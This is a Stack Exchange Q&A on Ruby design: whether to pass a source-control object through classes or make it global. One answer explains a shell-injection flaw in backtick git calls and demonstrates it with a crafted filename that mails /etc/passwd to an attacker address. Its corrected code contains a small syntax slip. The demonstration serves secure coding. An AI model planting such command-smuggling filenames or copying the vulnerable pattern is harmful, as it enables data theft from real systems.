Avoid passing variable from class to class

Question

For context, I have a SourceControlSystem factory class that detects if a user is using Git, SVN, or another source control system and returns an object to interact with that source control system. The implementation is here, but I don't think it's very relevant.

So, at the start of my library, I have this single line:

@source_control_system = SourceControlSystem.create

Now the problem is that some classes depend on this variable. I have a Churn class that needs this variable, but a Churn class instance is only created inside of a Turbulence class.

So I'm doing stuff like the following:

First, I pass @source_control_system to a Turbulence instance:

Turbulence.new(@source_control_system).data

And then inside the Turbulence class:

class Turbulence
 def initialize(source_control_system)
 @source_control_system = source_control_system
 end
 ...
 # Turbulence doesn't need @source_control_system
 # It merely passes it to Churn
 def churn
 @churn ||= Churn.new(@paths, @source_control_system).churn
 end
end

And then I finally pass it to to the Churn class:

class Churn
 def initialize(paths, source_control_system)
 @paths = paths
 @source_control_system = source_control_system
 end
 # do stuff with @source_control_system here
end

Do you consider this to be a problem or not?

I don't think creating that variable is that expensive so I could just call SourceControlSystem.create twice, once inside the Churn class and another outside of it. Do you see any harm in that? I could do that but it seems... odd.

Or should SourceControlSystem be some sort of global singleton object? That way, every class that needed it could instantly access it and call methods on it. You know, like the Math module. That way, I wouldn't have to keep passing it as an argument to a bunch of classes.

How would you do it?

• 200_success: I don't see the two places where you call SourceControlSystem.create?
• Ashitaka: Exactly, I don't. I just call it once, and pass that instance around through a bunch of classes. One possible solution would be to call SourceControlSystem.create twice, but that didn't seem right to me.

Answer 1

Do you consider this to be a problem or not?

This is good design! You make the state and the dependencies of your classes explicit. Imagine another developer needs to work with your code. He immediatly sees "oh, this turbulence needs access to the SourceControlSystem and it is given the access by this argument here!"

Just note, that if you create multiple instances of Turbulence you don't always have to use Turbulence.new(@source_control_system) but you can either create a factory for specific turbulences or curry/partial apply the new (although I don't know if thats possible in ruby).

• Ashitaka: But the thing is, Turbulence itself does not need access to SourceControlSystem. Only Churn. The problem is that Churn is only created inside Turbulence. So I have to pass SourceControlSystem to Turbulence so it can pass it in turn to Churn.
• valenterry: But as it is managing it's churn it needs to create the churn. And to do so it must pass over the SCS. If you want to be even more clean you can pass the churn to the turbulence in the moment it is created. If you can't because the turbulence has to do something before we know the (correct) churn to pass it to the turbulence then you are violating the SRP and you should consider splitting the Turbulence class. However at some point there must be a managing class knowing what a churn is and how to create it. You can't get around it unless you make the state/parameters implicit.
• Ashitaka: Yeah, I thought about injecting Churn like you are suggesting. However, if I did that, then Turbulence would mostly be an empty class. And like you said, then Churn would have to be instantiated somewhere else. Some other class would have to know how to instantiate Churn so the problem would still persist.
• Ashitaka: So, in your opinion having a globally accessible object like SourceControlSystem is a bad design choice? That way I wouldn't have to pass it around through several classes. But that would hide the fact that Churn needs a SourceControlSystem.
• valenterry: Yes that is a bad design choice. It makes it much harder to reason about what a code is doing in doing in the very moment it is executed. It takes more effort to unittest it. It is less extensible, more difficult to maintain. I think you can find the drawbacks yourself. Passing it through several classes is fine. What problems do you see with that approach?

Answer 2

I need to comment on an aspect of the code that you did not ask about, which is the way you invoke git as an external command:

def revisions_count(file)
 `git log --follow --format=oneline #{file}`.count("\n")
end

That filename interpolation is dangerous. You might get a "benign" failure if, for example, the filename contains a space. In the worst case, the filename might contain a shell metacharacter, such as a semicolon, which could lead to the execution of arbitrary code.

Here's an example of it being exploited on a Unix system. At the shell prompt, create the malicious file:

touch '; mail [email protected] < `printf "057円etc057円passwd"`'

(I've used printf to work around the restriction that Unix filenames can contain any character except / and NUL.)

Then, run the following Ruby code:

revisions_count(*Dir.glob('*badguys*'))

Backticks are a handy technique for throwaway code, but aren't really suitable for production-quality code. Your Git class should have one common codepath for executing git securely.

class Git
 class GitError < Exception ; end
 # Executes git with the given command-line arguments.
 # If a block is given, then the block is called with git's output as an IO object.
 # Raises Git::GitError if the command did not exit with a successful status.
 # Otherwise, returns the result of the block (if there is a block) or
 # the Process::Status object (if no block is given).
 def self.git(*args)
 IO::popen(['git', *args], 'w+') do |pipe|
 begin
 return block_given? ? (yield pipe) : $?
 ensure
 begin
 pipe.read # Drain the pipe to avoid SIGPIPE
 end
 pipe.close unless pipe.closed?
 raise GitError.new unless $?.success?
 end
 end
 end
 def revisions_count(file)
 git('log', '--follow', '--format=oneline', file) do
 |pipe| pipe.to_a.length
 do
 end
end

If you need compatibility with Ruby 1.8, whose IO::popen does not take an array...

 def self.git(*args)
 IO::popen('-', 'w+') do |pipe|
 if pipe.nil?
 # Parent
 Kernel.exec('git', *args)
 else
 # Child
 begin
 return block_given? ? (yield pipe) : $?
 ensure
 begin
 pipe.read # Drain the pipe to avoid SIGPIPE
 end
 pipe.close unless pipe.closed?
 raise GitError.new unless $?.success?
 end
 end
 end
 end

• Ashitaka: Damn. Say you want about Donald Rumsfeld, but he's right about the unknown unknowns. Things we don't know we don't know are downright scary. Thanks for looking into this code even though it wasn't the matter at hand. I wish I could give you more than 10 points.
• Ashitaka: In my defense, I created that Git class based on this code and this other code. I guess the difference is that they control the interpolated values and I don't. Btw, how would you name a file so it would print "hello world" using my code? And where can I read more about this? Thanks again.

Answer 3

Why not create a static property on the Churn class for the source control object:

class Churn
 cattr_accessor :source_control
 ...
end

Then somewhere during the application init process:

Churn.source_control = SourceControlSystem.create

Edit: Setting the source control object at application init would also allow you to throw in the source control info into a YAML file, if you haven't already done that.

• Ashitaka: cattr_accessor is a Rails extension. But point taken.